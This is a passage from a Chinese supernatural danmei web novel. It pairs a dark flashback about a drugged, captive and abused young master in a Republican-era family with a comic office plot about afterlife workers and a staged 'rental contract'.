沈松岩大喝一声,上前一把拉开那人,直接照着那张脸一巴掌狠狠扇了过去。
“啪!”声音脆响。
冯家小姐吓坏了,蜷缩在床角一动不动,脸上漂亮的妆容都哭花了,不停的落泪!
反观一旁的沈岱青,只是用手轻轻摸了摸火辣辣的脸,用舌头顶顶那边腮缓解痛感,突然笑了起来,“哥哥这大喜的日子,闹洞房而已,怎么就成胡闹了?”
“强词夺理!马上给我滚!”这还是沈松岩第一次对沈岱青发火。
沈岱青不恼,丝毫不介意那一巴掌,慢慢俯身贴近沈松岩,语气淡淡,“我要亲眼看着哥哥喝交杯酒,以后结婚也能长点经验,不然,我不会离开!刚刚我让新娘子喝,新娘子不肯喝,哥哥不会也不给这个面子吧!”
沈岱青绕过他,边走边说倒了一杯,递到沈松岩面前。
沈松岩转身看到床上洒落的酒杯,一时竟不知道说什么,他对这个弟弟真的不知道该怎么办才好。
“喝了你就走?”
“说到做到!”沈岱青贴近他耳垂,一字一句,清晰明白。
沈松岩后退半步,伸手接过他手里的酒盅,仰头一饮而尽,随后把酒盅往桌上一放,“啪”一下,“滚吧!”
“哈哈哈哈哈哈……”沈岱青脸上的笑容越来越开怀,笑声也越来越大,“哥哥真是的,啧啧啧,生意上分离不让,没想到在这方面好说话的很。”
“你什么意思?”
沈岱青还再笑,那笑声听的渗人,且看人压根没有抬脚离开的意思。
反而沈松岩,那杯酒下肚,没一会,意识开始模糊起来,眼前的人影逐渐慢慢变成两个,四个……
“你在酒里放了什么……东西?”
话越说越弱,人直接倒了下去!
就沈松岩倒下去的瞬间,床上冷眼旁观的冯家小姐再次惊吓出声。
“嘘!别吵!”沈岱青手竖在唇边,慢慢爬上床,靠近她,用很冷的声音警告,“他是我的!你明白吗?不想死就赶紧滚!”
冯家小姐早已经吓懵了,只顾流泪!
第二天一大早,就吵着要回娘家!
新娘子第二天回门正常的很,可惜就是没见到大少爷,沈家小姐坚持要走,也没有办法,毕竟不敢把人拦在家里不让出门。
这边沈家小姐刚离开沈家,就有下人回报,说少爷们不见了。
一个不见就算了,两个都不见了!
沈老太太急坏了,放出很多家丁去找人。
一无所获!
沈松岩再次醒来时,是在一处偏远的私宅,地方不大,甚至有些拥挤,但贵在精致。
他的两只手均被绳锁打结绑在床头,动弹不得!
而床头上坐着的人,正在熟练的拆卸枪支擦拭。
“沈岱青,你在
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干什么?”沈松岩一脸愤怒。
沈岱青并没有停止手上的动作,边擦边说,“你不是喜欢我叫你哥哥吗?我现在叫:哥哥,新婚快乐。”
这个疯子!
“你把她怎么了?”
“她?事到临头,你居然担心的是她?她究竟有哪里好,长得还没你好看,哪里就值得你费心如此?”
“你先把我放开,有话咱们好好谈。”沈松岩闭上眼睛,深吸一口气,努力让自己冷静下来。
沈岱青语气平和,轻声问:“哥哥,你还记得我们第一次见面时,我跟你说过的话吗?”
“什么话?”沈松岩不觉得他们见面说过的话究竟有何深意。
“你果然忘了。”沈岱青把枪支三下五除二快速装好,“三年前,你在龙虎山,被一群山贼打劫,是我救得你,你说你无以为报,以后会以身相许。”
“什么东西?我何时说过?”
“哦,是我说的,但是你默认了的。也算!”
算了鬼!
这么一说,好像是有这么回事。
但确实,三年前,有个山大王让他以身相许,他当时都无语了!
无语也算?
沈松岩睁大眼睛,十分惊讶,当时救他的那个人是沈岱青,怎么可能?这……完全不像啊!
“不,不是你。”沈松岩完全确定,不是眼前这个人。
“沈岱青,这个名字确实很好听,可惜,我不是沈岱青。”沈岱青轻描淡写的道出实情。
沈松岩听的一身冷汗,整个头皮发麻。
“你说不是沈岱青?”这人是冒充的沈岱青。
“哥哥,还想知道更多吗?”
沈松岩目光死死盯着他手里的枪支,浑身发冷,“知道了,是不是就得死?”
沈岱青转过头来对他微微一笑,只是那笑容里太残忍,让人不寒而栗,“我怎么舍得让你死呢!我爱你还来不及呢!”
“什么意思?”沈松岩不可置信的望着他。
“以身相许,你答应我的,我等了你三年,你没回来,我只能来找你。”
沈岱青把枪放好,又把沈松岩头顶的绳再次紧了紧,开始起身慢慢脱去衣裳,脱去军靴。
“你……你……你做什么!”沈松岩声音发颤。
沈岱青摸着他的侧脸,下巴,颤抖的喉结,左手轻松将人控制在床上。
然后不断沉腰下压,丝毫不理会沈松岩仿佛见鬼的表情和那点微弱的反抗。
他把唇贴在耳边,说:“对了哥哥,我忘了告诉你,其实沈家当年那个失踪的孩子,就是你。你母亲怕你再次遭到仇家绑架,所以才对外宣称说你是她收养的,只是可惜,他还没得及告诉沈珩,其实,你才是沈珩的亲生儿子!”
“不过,沈珩不是个好父亲,亲生儿子都认不出来,也对,毕竟你像母亲多些。”
“你胡说……”
沈松岩还没说完话,温润的粉唇便被温热堵的死死的!
……
……
把人吃干抹净的沈岱青坐在一旁细细回味,床上的人几乎不着寸缕,只有出气没有进气。
身上的皮肤青一块紫一块,全身止不住的颤抖。
“原本打算跟你细水长流的,可是,你偏偏要娶她,她究竟哪里好?你喜欢好看的,我这个模样好不好看?按照你喜欢的样子,特意去整的,花了我不少大洋呢!”
沈松岩眼角的泪,顺着额角滴落在耳朵里。
“为了让沈珩注意到我,我可花了不少力气才进沈宅,见到你,你可倒好,还没报答我救命之恩,就先娶了别人。太过分了哥哥。”
“别叫我哥!”沈松岩不想看他,任由眼泪模糊双眼。“求你……别叫我哥……我恶心!”
“好的,松岩。”
“……”
妈的!更恶心!
22. 沈松岩和沈岱青3
后来,沈岱青一个人回了沈家。
沈珩问起沈松岩的事,他只是垂着眼,说了句“他有自己的打算”,便不再多言。
沈珩起初还派人去寻,可沈岱青不知在中间如何辗转递话,几番三番下来,沈家人竟真的渐渐不找了。
仿佛沈松岩这个名字,本就该这样悄无声息的沉寂下去。
从此,沈家再没有沈松岩半分痕迹。
下人们也只敢背对里议论,对沈松岩少爷的离去感到惋惜。
直到三年后,沈老夫人病重,药石无医,弥留之际,昏沉呓语,总念着“松岩”的名字。
这时,沈珩才想起沈松岩来,命令管家去寻。
寻人的过程相当顺利。
直到那时,沈松岩才在一个雨夜,从那所终年不见天日,专属于沈岱青的私宅里,被带了出来。
那时候的沈松岩,整个人消瘦的厉害,眼神空洞洞的,身体被沈岱青半扶半架着,挪到祖母榻前。
老夫人颤着手摸了摸他的脸,眼角淌下一行泪,什么话也没交待,便闭上了眼睛,再没醒来。
灵堂白烛燃烧,沈松岩跪在棺椁前,一下又一下,额头磕在冷硬的砖石上,鲜血混着眼泪,在面前形成一坑血水洼,让人看了直呼心疼。
沈珩指着他的鼻子骂,骂他忘恩负义,骂他多年来杳无音信,骂他是养不熟的白眼狼。
沈松岩不说话,也不辩驳,只是一味磕头。
下人们纷纷劝他起身,只是一味准备打算磕死在灵堂的执着,还是在一旁的沈岱青看不过去,默然上前,用力将他强行搀起。
就这样扶着他,一步一步,走完了送葬的路。
丧事过后,沈珩依然生气,将沈松岩关进了祠堂,罚他跪着。
沈岱青这次没求情,只是悄无声息地,开始跟着沈珩开始做起了生意。
沈岱青待人接物,温和带笑,礼数周全,可做起事来却是强烈的反差,凌厉果决,寸步不让,颇有些当年沈松岩的意思。
沈珩看在眼里,虽有微词,却也渐渐放了心,将越来越多的生意都交到他手中。
变故发生在一个闷热的夏夜。
沈珩因忘了份契书在沈岱青处,故折返,到达沈岱青的房间时,却听见里面传来压抑破碎的哼声。
沈珩心想这是儿子是有了自己喜欢的人,为何如此偷偷摸摸,告诉于他,指门婚事不是更好。
于是,好奇推开门一角,一看,烛火昏黄里,沈岱青正将沈松岩压在榻上,两人衣衫凌乱。
沈松岩苍白的手臂,无力的垂在床沿,闭着眼睛,一动不动。
沈珩眼前一黑,喉头猛的涌上一股腥甜,立马推开房门,大声呵斥道,“畜生……你们两个畜生!”
他怒吼着,快速拿过墙上的马鞭,朝着床上那沈松岩那道单薄的身影狠狠抽去。
事情发生的突然,沈岱青挨了一鞭子
随后反应过来,立即将沈松岩整个人护在身下,死死抱住。
沈松岩缓缓睁开眼睛,眼神空洞,一动不动,仿佛置身事外。
耳边鞭子抽裂的声音,在寂静的夜里,格外地清晰,沈岱青抱紧怀里的人,留下后背,承受沈珩所有的暴怒和鞭挞。
沈珩就此一病不起,药石无灵。不到半年,便在呕血和对沈松岩的咒骂声中咽了气。
他一直都觉得是沈松岩带坏了沈岱青!
下人们都说,老爷是被两个逆子,活活气死的。
沈珩出殡那日,沈松岩站在人群最后,身影淡得像一缕随时飘走的烟。
他听见自己的名字被人议论,诋毁。
原本死水般的眼底,终于极其轻微波动了一下,但又很快归于沉寂。
沈岱青顺理成章执掌了沈家。
他变得很忙,商行、码头、漕运,忙不完的活。
但无论多晚,他总会回到沈松岩的房间,亲手喂他吃饭,替他擦身,换衣。
沈松岩不言不语,不推拒也不迎合,像个精致却了无生气的傀儡。
直到他开始绝食。
任沈岱青如何哄劝,威胁,甚至强灌,沈松岩只是紧闭双唇,眼神虚飘着,再也没有焦点。
沈岱青从一开始的镇定,开始慢慢碎裂,内心深处深藏的恐惧,也开始浮现出来。
为了能让沈松岩重拾活下去的希望,他找来了当年的冯家小姐。
沈松岩不是喜欢她吗?
可当年那位小姐,已重新嫁作人妇。
被沈岱青找到时,心里虽心有余悸,疑惑与不安,但听说是去见沈松岩,便还是答应前往。
可当她再次出现在沈松岩面前时,原本一直如同死水一潭的沈松岩,终于紧绷的那根弦,彻底崩断。
他猛的推开沈岱青,不顾一切,赤着脚发疯般的冲了出去。
他跑出房门,石阶,大门,跑进车马喧嚣的街道,阳光刺目,人声鼎沸,车水马龙,可一切都陌生得令人眩晕。
他不知自己要跑到哪里,只是拼命地跑。
直到——
“滴——”在租界路口,一声尖锐的汽车喇叭。
“砰!”一声沉闷猛烈的撞击,那道单薄仿佛风一吹就能飘走的身影,终于停了下来。
鲜血从他身下迅速蔓延,在热烈的阳光下,红得惊心动魄。
沈岱青追到他时,只看见满地刺目的红,和沈松岩最后那绝望又解脱的,微笑的眼神。
一切喧嚣,戛然而止。
朱窗半开,风乍起,吹来丝丝凉意。
屋内的气氛,出奇地安静,静到屋外麻雀扇动翅膀的声音几乎都能听的一清二楚。
老婆婆深深叹了口气,接过老伴递过来的已经放温的茶,“来,老婆子,润润嗓子。”
阎璟低头沉思,白念生则是手放脑后,仰起头,望着半空之中的沈松岩,“所以,沈松岩还是被车撞死了,哎,这时间不太对劲啊!”
老婆婆继续说,“其实,沈大少爷当时被救了回来。”
“被车撞成那样也能救?”
“活是活了,但跟死人也差不多,成了植物人。”
“这下说的通了。”白念生觉得自己好像没有表达出痛惜之感,又补充了两个字,“好惨!”
那个好惨的沈大少爷也沉默了!
阎璟想起来,“沈松岩是民国五十五年去世的,也就是说,他成植物人后,在床上躺了一年。”
老婆婆点点头,“是啊。”
“那你是怎么知道的?老婆婆。”
“我当年就是被岱青少爷选中,照顾松岩少爷的那个小丫头。”
“……”
怪不得,知道这么多内幕。
老婆婆说:那一年里,岱青少爷经常会坐在病床前自言自语,说了很多话,别人都听不懂。
有时还会转头问她,说自己是不是做错了?究竟怎么他才能回来?
可是,人已经那样了,怎么回得来。
半空飘着的沈松岩,急切愤怒又空灵的声音在房间里飘荡,问:“那沈岱青呢?那个狗东西后来去哪了?”
白念生帮忙转问:“那沈岱青呢?那个狗东……”
阎璟反应极快的咳了一声,迅速撞
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了下白念生的膝盖,他这才反应过来,才继续问:“……沈岱青后来去哪了?”
只听老婆婆又是一声长长的叹息声,“松岩少爷这边刚去世后,他就一把匕首插入心脏,在松岩少爷的病床上,跟着一起去了。”
真他妈是个狠人!
白念生:“……”
沈松岩:“……”
查过沈岱青的生平的阎璟,默默不语。
果然是死在同一天,而且是前后脚。
只是可惜,沈松岩执念太深,没有前往地府,而沈岱青也是因为执念太深,没办法过奈何桥。
众人说话间,外面的大门传来一道清脆的呼喊声,“爸!妈!我回来了!”
“贵客,我儿子回来了。”老婆婆开心不已,立刻和老板伴相互扶持站起来就往外面走。“正好呀,你们一起去祭祖吧!”
阎璟拉住半空的沈松岩,面无表情却相当认真,“沈松岩,你说死后才遇到我这个的极品,你还是谦虚了,你生前遇到的那个,才是真极品!”
“确实。”白念生连连点头,表示认同,快步跟上前面那对老夫妻。
沈松岩:“……”
来人一看也是高知人群,一副金丝框眼镜,看着便与人为善,温润有礼。见到阎璟两人也微微点头示好,随即从身上掏出白沙,夹出两根,递给两人。
阎璟不抽烟,见白念生接过来,为了合群,也学着白念生,捏住里面那根烟,以示礼貌。
“谢谢。”
拿火,点烟,抽烟一气呵成,白念生知道这是好货,自然没理由错过。
阎璟可不会,放到嘴边抽了一口差点把自己呛死!
转过头猛烈的咳嗽!
“废物。”白念生摇摇头对他很失望,又转头对男人说,“这步入社会的孩子就是单纯。”
男人望着阎璟呛红的脸微微笑了。
时间紧迫,阎璟他们又在临市,晚上要回去,所以,老夫妻直接带他们去了墓地。
墓地长年有人打理,看上去并不荒凉,阎璟和白念生一人手里捧着百合花放到碑前,看着上面的黑白照片里沈松岩微笑的模样,和现在飘在半空那个到底还是有些差别!
可是奇怪了,“怎么只有沈松岩的墓,那沈岱青的呢!”
老婆婆说,“都在这里了。岱青少爷吩咐过,身后事和松岩少爷合葬,但不要写他的名字。”
沈松岩说不出话来!
白念生转身向老婆婆道谢,老婆婆在儿子和老伴的搀扶下,朝着墓碑弯腰鞠躬。
“沈家有些东西需要转交,是岱青少爷留下的锦囊,当年那场法事也是岱青少爷提前准备好的,他说,怕松岩少爷怪他,不肯原谅他,所以,找了一个红结,将二人的发丝缠绕,永不相离!”
“他妹啊!狗东西!生前折磨我,死后也不放过我!那条疯狗,我要咬死他……”经过几十年的洗礼,沈松岩性格完全被现代社会带偏了,哪里还有当年的温良恭俭,品德兼优。
白念生低着头,死死咬着腮帮子,忍住忍着不让自己笑出声来,尤其这么悲伤的时刻。
阎璟也有点不自然,小声问,“我能不能看看沈岱青留下的锦囊吗?”
老婆婆拿了出来,里面是红结绑的两人的头发,和一张符纸,符纸上有一层腊,被封存的很好。
白念生接过符纸一看,一下子就认了出来,“这是同心符,一般只有情人会求,但是,这上面被人施了法。”
“两个人的魂魄锁死了。”
“嗯。”
阎璟可算知道沈岱青怎么也过不了奈何桥了。
23. 吃醋的冷樾大人
回到老夫妻的住宅后,两位老人把自己该交待,又跟自己儿子再次重郑交待一番才放心。
当年的兰因絮果基本已经了解清楚。
沈松岩当初被车撞,灵魂记忆受损,奈何对沈岱青的恨意却十分清晰,几十年过去也不曾忘记。
成为植物人的那一年,迷迷糊糊听沈岱青那个极品,天天在他耳边念叨一些乱七八糟,有违天理,还自我感觉特别深情款款的荒唐事。
又因为他是养子的身份,一直也没有入沈家宗祠,所以死后只能做个无主无宗的游魂。
如今一朝知道真相,气得他魂体都快变形了。
沈松岩气得在半空来回打圈圈,“简直受不了,我的命怎么这么苦?”
“可以啦!白念生在一旁安慰他,“人家至少殉情啦,对你情根深种,就是当时用错了方法。爱情!绝逼是爱情。你们下辈子再好好在一起吧!毕竟,那个极品把你两魂魄锁死了,生生世世呢!”
说着说着,白念生竟还有点幸灾乐祸。
沈松岩忍不了,“我才不要跟他在一起,我才不会喝孟婆汤,更不会投胎。”
白念生把人抓过来,恶狠狠的掼在地上,“你再说一遍你不投胎?那我投胎率怎么上去!”
沈松岩:“……”
反观一旁的阎璟安静的有点出奇,完全不管不顾他倆的打闹!
不过,这下总算能结束了。
白念生长舒一口气,一边推开老夫妻家的大门,一边对愣神的阎璟说话,“你怎么了?还在为沈松岩伤心?”
沈松岩耳尖的很,赶紧飘过来,白念生一把将他推开,“没说你这个被新时代腌入味的沈松岩,说的是生前那个。”
沈松岩嘟嘟囔囔,“不还是我嘛!”
只见阎璟紧皱眉头,似在跟白念生说话,又似在喃喃自语,“两个男人也能产生感情?自古阴阳才是正统,这,违反天道……”
白念生毫不客气给他一个白眼,“咋啦!改革开放时没有通知你吗?哪来这么多旧时代的思想,丢掉!丢掉!通通丢掉!”
阎璟叹息道:”也是,这世上的感情,有时是很不讲道理的,不论男女之间,男人之间,还是女人之间……”
“呦!想谈恋爱了大学生?”
阎璟懒得理他,再三强调,“我是修道的。”
“是是是,谁不是。”
两人一前一后走出那栋老旧的宅邸。
傍晚的风总是能读懂人们的疲累,每一缕都带着凉意扑面而来,就连旁边绿化带的树枝,也迎风飞舞。
阎璟还陷在自我纠结的情绪里,又想着后面如何处理沈松岩两人,所以没有注意周遭。
就听见身旁的白念生“咦”了一声,声音里带着明显的诧异。
“我怎么好像……看见冷总监了?”
阎璟觉得不可能,“花眼了吧,我们可是在外省,这儿离公司可差着几百公里呢。”
“我也情愿我眼花。”白念生应声后,再次用力眨了眨眼。“但好像没有……花。”
前面不远处,那个站在一处阴凉的树荫下,修长的身影反而慢慢朝他们走了过来。
一身玄色风衣随风飘扬,那张脸上挂着依旧没什么温度,但又异常锋利的眼睛,这么有辨识度,不是冷樾还能是谁?
阎璟顺着他的视线抬头,下巴瞬间惊掉,“还真是。”
不是,这人怎么来的?
在两人惊讶之余,冷樾已经走到他们面前,目光在两人脸上扫了一圈,自然也看到两人未来得及收起的,一副惊呆住的表情。
冷樾心情很好,唇角浅浅弯了一下,算是跟他们打招呼。
“冷樾?您怎么……过来的?”阎璟回过神来忍不住问道。
“人事部的外出业务登记。”冷樾说得简短,从上衣口袋里拿出那登记单,“你们这次外勤的备案地址离我本次出差的地方不远,所以顺路过来看看。”
冷樾的话,说得轻描淡写,可这跨省的“顺路”,实在没什么说服力。
还顺路?车都没开!
“冷总监,你车停哪了?”
冷樾:“打车来的。”
有钱!
阎璟和白念生对视一眼,默契地没再追问,只有白念生拖长了声音,“哦——”了一句。
冷樾也不在意他的反应,视线越过两人肩头,似不经意间朝他们那飘在身后的沈松岩瞥了一眼,问:“事情办完了吗?”
阎璟偏头看了眼身侧,以为冷樾看不见的沈松岩。
飘在半空的沈松岩,对阎璟比了个OK的手势。
阎璟点点头,“算是结束了,后面正常走程序就行。”
阎璟没有明说后面的程序是什么,大家也都默契的不多问。
三人正打算上车准备离开,身后旧宅的大门突然打开,戴金丝眼镜的年轻男人快步追了出来,气息微促,目光直直落在阎璟身上。
“阎先生!”他喊了一声,几步走到近前,从西装内袋掏出名片夹,“方才匆忙,忘了留个联系方式。我过几天大概要去S市出差,说不定……还能见面。”
男人说这话时眼睛看着阎璟,眉宇间似乎很欢喜。
阎璟愣了一下,还没反应,一旁的白念生已经挑起眉梢,眼神在两人之间转了转,一副看好戏的神情。
阎璟客气的摆摆手,“不必了,此间事了,应该没什么需要再联系的。”
眼镜男人递名片的手顿在半空,脸上闪过一丝明显的失望,周身的气度也让他做不来死缠烂打的事来,终究没再坚持,只点了点头,相当绅士,“那……有缘再见。”
等那人转身回去,阎璟才松了口气,一扭头,正好对上了冷樾打量的视线。脸上没什么表情,只是目光比刚才沉了些,不着痕迹地从阎璟脸上掠过,又淡淡瞥了一眼那扇已经关上的门。
空气中突然安静了几分。
白念生摸了摸鼻子,嗅到一点不寻常的气氛,赶紧打圆场似的拉开后座车门,“哎那什么……冷总监,您先上车。”
冷樾没说什么,弯腰坐进车里。
阎璟跟着坐进副驾,从后视镜里看见冷樾靠在后座,脸转向窗外,只留下一个线条微绷的侧影,这人刚刚还挺高兴,这会又不开心了。
真是喜怒无常!
车子驶上公路,随着日落大道,一片殷红,渐渐,高速公路的路灯一个挨一个亮起,夜色彻底吞没了远处的轮廓。
阎璟摸出手机,屏幕的光映亮他的脸。
他犹豫了几秒,点开通讯录,找到了冷樾的名字。
编辑发送,“真是顺路?”
消息发出去,隔了一会儿,手机才震动。
冷樾:“不然呢。”
阎璟看着那三个字,嘴角无意识的上扬,指尖在屏幕上继续敲敲打打。
“哦,还以为总监大人是特意来催进度的。”
这次回复来得快了些。
冷樾:“工作完成了就早点回家,别在外面招惹些奇怪的人。”
消息读完,阎璟想笑,以拳抵唇咳嗽两声,引来驾驶座上白念生注目。
“没什么。”阎璟说着,熄灭屏幕,心情莫名地松快起来,他这个房东还真是尽心尽责啊!
后座那片安静的阴影里,有人收回落在手机上的目光,望着窗外流动的夜色,心情好像也不错。
在一片安静的氛围中,总有个现眼包想搞点小动作,突出自己存在感。
沈松岩原本就跟在阎璟身后,看两人的互动,一时好奇。
仗着冷樾看不见他,于是,趴在阎璟的耳朵上很大声的说话,“我说,你们这个冷总监是人吧!是人吧!不是你们这种人!他是正儿八经的人,对吧!”
“……”
阎璟相当无语,他大概能确定冷樾是普通的正常人。
但白念生有所怀疑,不?严格的说他从始至终怀疑每一个进伦晖的人,于是微微侧头,决定试探一番,“冷总监,你刚刚有没有听到什么声音。”
冷樾没说话,也不想理。
看样子是没有发觉异常。
沈松岩翻了个白眼,“你们不能这么试,得这样试!”
说着,沈松岩在狭窄的车里飘来飘去,刮起一阵阴风,又一脸鬼样突然出现在冷樾面前,“冷总监,现在我就站在你面前,你看我有没有几分像从
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前?”
“……”冷樾面无表情,眼神都没变,只是心中觉得特无语。
“你是电,你是光,你是唯一的神话……”
阎璟也沉默了。
半晌,叽里呱啦半天的沈松岩,已经说不出话来,垂头丧气,又飘回阎璟身侧,“确定了,他的确听不见我说话。”
从讲完第一句话时就该意识到了!
阎璟微微转头,目光透过后视镜,望着后座闭上眼睛假寐的冷樾。
珍惜吧,公司里唯一正常的一个人!
阎璟没有办法出面去地府处理沈松岩的事,原本是想让白念生这个实习的判官跑一趟,大不了亮出自己阎王大人的身份,吓死他!
可惜还没来得及开口,冷樾已经把这件事的处理结果上报总部,总部那边表示会有工作人员来接“客户”。
此次工单客诉加上满意度都得到解决,阎璟很满意,至少第一次出师很顺利!
阎璟偷偷用仅存的神力连接地府那边的要员,通知黑白无常后续的事情。
因为沈岱青的事总也得有个解决,不能一直被关押在地府着做心理疏导,地府的心理医生不多,光疏解他一个已经耗费很多光阴。
实在得不偿失!
只希望,沈家这两位祖宗相见后,别打起来就行。
后续两人究竟会如何,他已经顾不上了。
因为他控制按键的双手压根忙不过来。
手机那头,孟小七又尖又细的语音传来,“快,快点,杀了他呀!哎呀!”
声音:Fristblood!
白念生也是恨铁不成钢,直接回城,开麦就骂:“阎小璟,你别去送人头了,赶紧脚底抹油,溜啊!打不过还不跑!”
可惜,操作极烂的阎璟还是没跑掉。
声音:doublekill!
画面再次黑白!
太难了,比修道还难!
冷樾站在门口敲了几遍门,阎璟都没听到,玩的相当入神。
看着趴在床上玩的起劲的阎王大人,冷樾十分无奈,“别玩了,出来吃饭。“
“我不饿,就不吃了。”阎璟头也不抬,举着手机,“这游戏可以让我废寝忘食,我可以不用吃饭!
熊孩子!
果然还是被白念生那帮人污染,如今连饭都不想吃。
冷樾再次警告:“你是自己出来,还是我抱你出来?就像我们第一次见面那样……”
第一次见面?光秃秃的!
哦!NO!
阎璟身体打一哆嗦,完全不想想起来那个场景,越不想想,那画面越在他脑海一直挥之不去。
“别,我起来吃!”
游戏里开麦的那边几个人都沉默了,孟小七犹犹豫豫,带着试探的问,“阎小璟,你是和冷总监住一起吗?”
白念生也不可思议,“还是冷总监做饭给你吃?”
还有一个陌生的人声也惊呆了,“你们同居啦!?”
“冷总监不是说有喜欢的人吗?阎小璟,你这个电灯泡不嫌亮啊!”
阎璟床下一半,怔愣在原地,千算万算,千瞒万瞒,居然没想到是这样爆出来的。
明天他还能去上班吗?
冷樾大步迈上前,伸手将阎璟手里的手机拿过来,朝着底端语音处,“你们还是太闲了,周报都做好了吗?下周一我会挨个看的!”
“……”
“……”
“……”
“啪”,全部下线!不待一秒犹豫的!
阎璟再次呆若木鸡,“你在干嘛,我刚想解释,刚刚那个说话的人不是你,你这倒好,直接给坐实了?”
“我长得见不得人吗?”冷樾说这话时,目光如炬。
阎璟没有这个意思,只是他真的不想成为别人茶余饭后的谈资,本来公司里关于他的说法就很多,公司八卦的帖子里,十个有八个是关于他的传说。
传说他喜欢前台妹子。
传说他是走后台进来的。
传说他是某某领导的亲戚!
传说他和白念生是一对。
如今,再加个冷樾!要不得啊!
24. 再次被传绯闻的阎王大人
阎璟刚倒好一杯热茶,正要坐下,原本安静的办公室里,三三两两齐齐围上来一群人,堵得他连逃跑的余地都没有。
他垂着眼左瞟右瞟,头越埋越低,几乎要缩进桌案底下。
孟小七一把将他椅子转过来,面对大众,语气里满满的喜悦:“老实交代!你俩到底怎么回事?”
阎璟避开视线,逃避问题。
小美是被孟小七拉过来听八卦的,但也加入逼问其列,“坦白从宽!你和冷总监什么关系?他养在家里的女朋友其实是男朋友,对吧!”
“……”对什么对!
什么男朋友,女朋友,天地良心,他都不是。
白念生更加不客气,两掌拍他在肩膀上,把人往前面一拉,那张娃娃脸不断逼近,“你躲什么躲?全公司上下就没有能藏得住的秘密的人,连唐老鸭爱去哪个广场,喜欢哪首曲子,爱盯着哪个老太太跳舞,都被扒得一清二楚。你可想好了啊,你不说,我们可就自己动手挖了!”
阎璟听得哭笑不得,“你是挖掘机转世吗?”
“少来,坦白从宽,抗拒从严。”
阎璟实在招架不住,只得小声说,“我租了他家的房子……严格来说,他算我房东。”
“租房?住?”有人挑眉,“租房合同呢?拿出来看看。”
阎璟一愣,这还要合同?
可要是说没有,估计不会善罢甘休,不给?后面怕是也没完没了。
他只好硬着头皮应下,案桌上一拍,啪!
“行,明天带来。”
晚上一回家,阎璟就把冷樾拽进书房,按在书案前,墨条推过去,“别忙了,写!”
冷樾抬眼,询问:“写什么?”
“租房合同!”
“……”
见阎璟一副[不写完别想睡]的架势,冷樾失笑,接过笔问,“写多少条合适?”
“我怎么知道?”阎璟对人间界的某些莫名的规矩是一问三不知,“你看着写。”
见阎璟专心致志的磨墨,冷樾扶额低头浅笑,也不多话,取过那支他经常用的羊毫笔,蘸墨,刮锋,落纸一气呵成。
最后还从抽屉摸出一枚红章,端端正正盖在末尾。
阎璟终于心满意足,拿起那张墨迹未干的合同,大摇大摆回屋睡了。
冷樾望着他背影,那嘴角的笑意怎么也压不下去。
就看明天那群八卦成精的人,有没有点眼力见了。
次日,刚到工位,同样的人群又围了上来,甚至后面还多了几个吃瓜的人民群众。
“合同呢?”
阎璟从容给他们递过去。
后面的人一股脑围了上来,“我看看……我看看。”
“哎呀,你别拉我裤子!”
众人围绕一圈,展开一看,顿时安静了。
原来如此啊!
只见纸上是一手漂亮的瘦金体,工整得像幅字帖,内容却让人越看越兴奋。
【共同居住守则
一、房东至上,房东最大。
二、与房东交谈须认真专注,不得敷衍。
三、外出须向房东报备行程。
四、不得欺骗房东,善意谎言亦不可。
五、房客不得与房东以外之人谈笑风声。
六、房东消息不必秒回,但务必要回。
七、房东房客禁止冷暴力相处。
八、矛盾不过夜,当日必须化解。
九、尊重彼此,不强迫对方做不喜之事。
十、重大事宜共同商议,不可擅自决定。
以上条款,违反任意一条,罚款伍佰贰拾圆整。
本协议自签订之日起生效。
房东:冷樾
房客:阎璟】
众人齐刷刷抬起头,目光从好奇,渐渐转为意味深长的同情。
人事部的小美小声嘀咕着,“这是租房合同?分明是小情侣公约吧!”
旁边的同事赶紧拽她袖子,“别瞎说。”
这简直是赤裸裸的秀恩爱啊!孟小七满脸兴奋。
白念生一脸,自家傻大儿被人骗,还帮人数钱的恨铁不成钢。
阎璟从位置上站起来,一脸正气,“这下信了吧?纯房东和房客的关系!”
“信了信了……”大家忍着笑纷纷点头,“这还不信,那可真是锤得死死的。”
“绝逼信了,你就是租了他家房子而已。”
阎璟认真点点头,心想:还是得拿证据出来说话。
没过多久,办公室里顿时响起一片压抑的闷笑声。
只有阎璟捏着那张,冷樾一笔一划写下的,笔迹清劲的租房合同,左看右看不知道是那条戳中他们的笑穴。
自此后,此刻公司的帖子里,是关于他的流言蜚语,已经传得更加离离原上谱!
什么大学生刚出社会被包养!
冷总监追妻火葬场!
连白念生都有份!
哎?这不对吧!
白念生上一秒还在兴致勃勃的吃瓜一线,下一秒就被论坛贴上几张照片雷的外焦里嫩。
标题特别醒目,[活在三次元的一对有情侣,小受萌萌哒!]
[配图]
[配图]
[配图]
点开一看,白念生忍不住骂出了声,“卧槽!”
这他妈谁?
谁?是谁不重要?
可他凭什么是受!
他居然攻不过阎璟那个脑子有坑的家伙!
与此同时,办公室里,正登录生死簿app处理投胎率数据的冷樾,也被突然的一道弹窗打断。
总经办的内部群里,那群老不死,又不干活老家伙,看热闹从来也不嫌事大,“樾总,你家后院着火啦。”
冷樾起初莫名其妙,直到人事资源部的金经理直接甩了条链接过来。
“……”点进去一看,上面关于阎璟和白念生的亲呢的照片豁然出现在眼前。
流言蜚语如过江之鲫,他租房合同已经写的这么明显了,还有人敢来碰瓷?
冷樾的目光越来越沉,五指无声的收紧。
他快速敲了一段文字发送过去,“金乔觉,你们人事部,每天都不干人事吗?”
那边谈话框正在输入中,回复很快,“哪能啊!只是看樾总这绯闻男友有点地位不稳,出声好意提醒一下。再友情提示一波,过段时间,公司组织团建,樾总请做好准备,毕竟,咱们公司单纯的大熊猫,可不是随随便便就能被追到手滴!”
单纯大大熊猫?
阎璟吗?
他可不是!
白念生坐在工位上抓耳挠腮,悄悄打量阎璟的神情,确定对方还没发现这个帖子,心存侥幸。
这个时候,只能盼望孟小七那个八卦腐女,千万别不长眼往阎璟身前凑!
只能说非常万幸,因为阎璟网速实在感人,事到如今还是个只会打电话和发消息的老人机状态,很少上内网。
所以,得趁事情没扩大前,他得赶紧找到IP地址,直接黑掉拉倒!
说干就干,白念生撸起袖子,难得这么认真起来。
键盘打的啪啪作响,连一旁的阎璟都为他的专注而侧目。
阎璟自己还在跟往生预约系统较劲,这个破后台,申请需要功德积分,功德积分需要用户在世时,对人类做出的贡献所得。
如果对方跟他一样是个三无人口,自己活命都成问题,还拿什么做贡献赚积分,简直就是BUG。
必须需要向技术部门反馈才行。
但技术部和业务部不在同一层,阎璟没有去过,贸然过去心里有点发怵,也不知道对方领导好不好说话。
于是,阎璟深吸一口气,做了个决定,邀请白念生跟他一起去。
